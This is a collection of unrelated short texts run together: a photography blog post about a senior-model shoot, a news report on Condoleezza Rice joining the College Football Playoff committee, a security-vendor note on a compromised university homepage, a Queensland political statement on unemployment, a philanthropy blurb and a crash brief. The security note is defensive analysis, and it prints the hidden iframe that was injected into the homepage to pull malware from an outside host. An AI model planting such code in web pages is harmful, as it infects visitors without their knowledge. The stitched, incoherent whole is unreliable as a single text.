We decided we were going to add a day, instead of just shooting all 12 girls on one day and for short periods of time. This gave whoever wasn't shooting, time to go explore, have fun...do whatever. It's always a learning curve, trying something like this. Our timing was off more than once, we searched for waterfalls to no avail and overall, there are some things to change for next year. BUT. This experience was so great. I know the girls created some lasting memories, made new friends and will get some pretty cool images out of it.
What did we add new this year?
Besides the cabin, we added some swag bags. T-shirts, nail polish, sunglasses, lip gloss and personalized chalk board cups -- a big thanks to Sam for helping me put them together.
Thursday night we opened up those puppies and let the girls just have a night to relax before shooting Friday and Saturday afternoon and into evening.
We did a ton of scouting last year when we were here. We did some old familiar spots and then found a few cool, new spots. I transferred everything over and picked out some serious favorites for each of our senior models. Enjoy the images I've sorted through so far! Can't wait to go back again next year!
Also, a HUGE HUGE HUGE thank you to my partners in crime, Dan and Sam. This trip is never easy to pull off and they are always there to support me in times of stress and crisis. Dan, thanks for always being my go to light guy. And Sam, thanks for being my sounding board, and for making all these wonderful beauties even more beautiful.
And of course, the yearly tradition of the group photo in their KSP Senior Model shirts.
There were a ton more things I could have written about during this trip. But to save the time, I figured I'd open up a Q&A. If you have questions regarding our trip, please feel free to ask on the shared facebook post on the business page!


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With her admitted "dream job" as NFL commissioner presently occupied, Condoleezza Rice stepped into another influential college-football position and quickly fended off criticism that she lacked the experience to serve on the new College Football Playoff selection committee.
"With all due respect to my good friend Roger Goodell and Paul Tagliabue [present and former NFL commissioners], probably the most influential NFL commissioner was Pete Rozelle," Rice told ESPN's Colin Cowherd on Wednesday. "He never played football, so you can be a student of something and not experience it. I consider myself a student of college football. I am, Colin, after all a student of Russia, but I've actually never been Russian, either. You can know something from following it and studying it and I spend a lot of my Saturday with college football."
Among others, ESPN college analyst David Pollack and former Auburn coach Pat Dye had questioned her credentials for the post. "All she knows about football is what somebody told her, or what she read in a book, or what she saw on television," Dye had said. "To understand football, you've got to play with your hand in the dirt." Two other members of the 13-person committee, which replaces the embattled Bowl Championship Series next year, did not play college football, either.
"I've been in enough positions to respect people who have different views," Rice, the former National Security Advisor and Secretary of State in the George W. Bush administration, told reporters in a conference call. "Not everyone on the committee has played football. I'm a student of the game and I believe that I will work very, very hard."
The committee, chaired by Arkansas Athletic Director Jeff Long, will choose and seed four teams to play in national semifinals as well as compiling regular-season rankings. Rice, who presently teaches political science at Stanford and has worked there for 32 years, noted that she has experience in athletics from her time as the school's provost.
"At Stanford, athletics actually reports for its operations to the provost — so athletic facilities, athletic budgets, issues of compliance. I actually hired Ty Willingham to be Stanford's football coach after Bill Walsh stepped down [in 1994]," Rice, whose father was a football coach, told Stewart Mandel of SI.com. "It was actually not the first time I'd been involved in the hiring of a football coach. Back in 1988, I sat on a committee with a very small number of people that hired Denny Green, including doing interviews with all the major finalists, among whom was Pete Carroll, for instance. He was one of the people we had serious interviews with in 1988."
Former Big East commissioner Mike Tranghese and former college football writer Steve Wieberg, did not play football, but only the selection of Rice drew fire for that resume omission. Pollack was criticized for his comments and later said he only wanted people on the committee who "eat, sleep and breath college football" without regard to gender.
"I don't feel like I'm carrying a banner for anyone, except those who love college football. That includes women," Rice, whose father was a football coach, said. "For me, this is trying to get playoff system right so that we can have outcomes in which players, coaches and fans know that people of goodwill and integrity are trying to make good judgments."
Rice, who made sports history two years ago when she was one of the first two women chosen for membership at Augusta National Golf Club, will now help shape college football's new playoff system. "The naysayers have spoken loudly," ESPN.com's Andrea Adelson writes. "Their negativity has earned the headlines. But the truth is, real progress has been made. It took 60 years for a woman to serve on the men's basketball committee."


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Attack path:
[root] hxxp://www.math.ndhu.edu.tw/ (PageRank: 4)
[virus] hxxp://secure.manualstats20.com/images/5d31b7e88247f0b2f4663ec104293815.php?u=47&s=56179768&c=d&
There is an embedded script in the bottom of homepage.
After decoding, the original script is as below.
After execution of this script, a piece of HTML code "<iframe src='http://secure.manualstats20.com/images/d' width='10' height='10' style='visibility: hidden;></iframe>" will be inserted into homepage.
The malware has medium detection rate in VT: 14 /43 (32.6%) ( http://www.virustotal.com/file-scan/report.html?id=7d6db256e13677c44fcc80ebc1d60b8cac08b98b4bb9766e2733fac70d902fdf-1290470915 )
The download path has low detection rate in URLvoid: 1/17 (6 %) ( http://www.urlvoid.com/scan/secure.manualstats20.com )
AegisLab WebGuard stops the download path from 2010-11-22.


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LNP Deputy Leader and Shadow Treasurer Tim Mander said today's figures showed Queensland continued to lag behind other states with the second worst unemployment rate in the nation.
"We should be up there with New South Wales but instead Queensland is at the bottom of the pack, fighting off only Western Australia for the wooden spoon," Mr Mander said.
"Under the Palaszczuk Labor Government, Queensland has the second worst unemployment rate in the nation on both a trend basis and in seasonally adjusted terms.
"On a trend basis, Queensland's unemployment rate is 6.1 per cent while New South Wales' rate is 4.8 per cent.
"Queensland is also well behind the national unemployment rate of 5.4 per cent.
"The figures show the Palaszczuk Labor Government's incompetence and inability to create the jobs Queensland needs."


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Women are changing the nature and structure of philanthropy (and not just because they are giving more and more often than men). They are redefining what giving is about by using their work to build cultural understanding and open conversations about difference.
Some are pledging time and expertise, as well as financial support and considering the next steps beyond projects they are currently supporting.
Forbes Magazine explores how philanthropy is being disrupted.
The Women's Philanthropy Institute (a project of the Lilly Family School of Philanthropy) has released 2016 data including the shifting patterns of charitable giving over time. The infographic of their research compares single women and men and married couples through generations. Download (or simply view) it here.
While you are at it, you can learn about Jean Case's courageous approach to philanthropy (the Case Foundation motto is "Be Fearless").
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HUNTSVILLE, Ala. (WHNT) – Police say one person was hurt in a crash at U.S. 72 and Moores Mill Road. Officers say that person has non-life-threatening injuries.
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